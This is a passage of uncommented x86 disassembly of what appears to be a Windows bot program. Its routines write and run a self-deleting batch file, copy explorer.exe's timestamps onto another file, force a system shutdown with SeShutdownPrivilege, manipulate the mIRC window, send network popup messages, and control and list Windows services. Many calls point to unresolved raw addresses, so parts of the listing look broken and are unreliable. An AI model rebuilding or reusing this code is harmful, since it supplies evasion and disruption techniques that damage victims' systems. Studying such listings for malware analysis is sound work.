loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx

loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi

loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx

loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687

loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx

loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637

loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------

loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------

loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	near ptr 269096Bh
		nop
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 27F0000h
		nop
		lea	eax, [ebp+var_100]

loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1

loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------

loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1

loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB18C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9B4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9D4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		nop
		call	near ptr 2800772h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2800000h
		call	dword_4CBA38
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9F0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2810236h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 2810000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA40
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA40
		push	ebx
		nop
		call	near ptr 2800CEAh
		push	edi
		nop
		call	near ptr 2670000h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------

loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax

loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBAA0
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2820000h
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 281092Bh
		nop
		push	esi
		call	ebx

loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB924
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAB4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx

loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2720000h
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2710000h
		push	edi
		nop
		call	near ptr 2670000h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB98
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26A0000h
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 2690E3Bh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2690CF1h

loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2830000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2670345h

loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26E0528h
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB964
		push	edi
		push	eax
		call	dword_4CB974
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_439508

loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------

loc_418AB6:				; CODE XREF: sub_418A2E+57j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_4394E0
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------

loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394B0
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch

loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E0528h
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------

loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47

loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26B0CBCh
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26C0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27A07FAh
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 26A0861h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439530[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43952C[esi]
		push	offset unk_439640

loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA50
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------

loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439614
		jmp	short loc_418C46
; ---------------------------------------------------------------------------

loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA50
		push	off_439528[eax*4]
		push	offset unk_4395F0
		push	esi
		call	sub_41C266
		add	esp, 0Ch

loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9D8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		call	near ptr 269096Bh
		nop
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------

loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8C0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		nop
		call	near ptr 269096Bh
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------

loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB92C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------

loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8C8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------

loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB930

loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		nop
		call	near ptr 269096Bh
		mov	ebx, eax

loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8DC

loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8DC
		pop	esi

loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------

loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------

loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------

loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------

loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------

loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------

loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------

loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump

loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------

loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB390
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------

loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB390
		call	sub_41C266
		add	esp, 0Ch

loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB390
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9D8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB9A4
		test	eax, eax
		jnz	short loc_418F1A
		nop
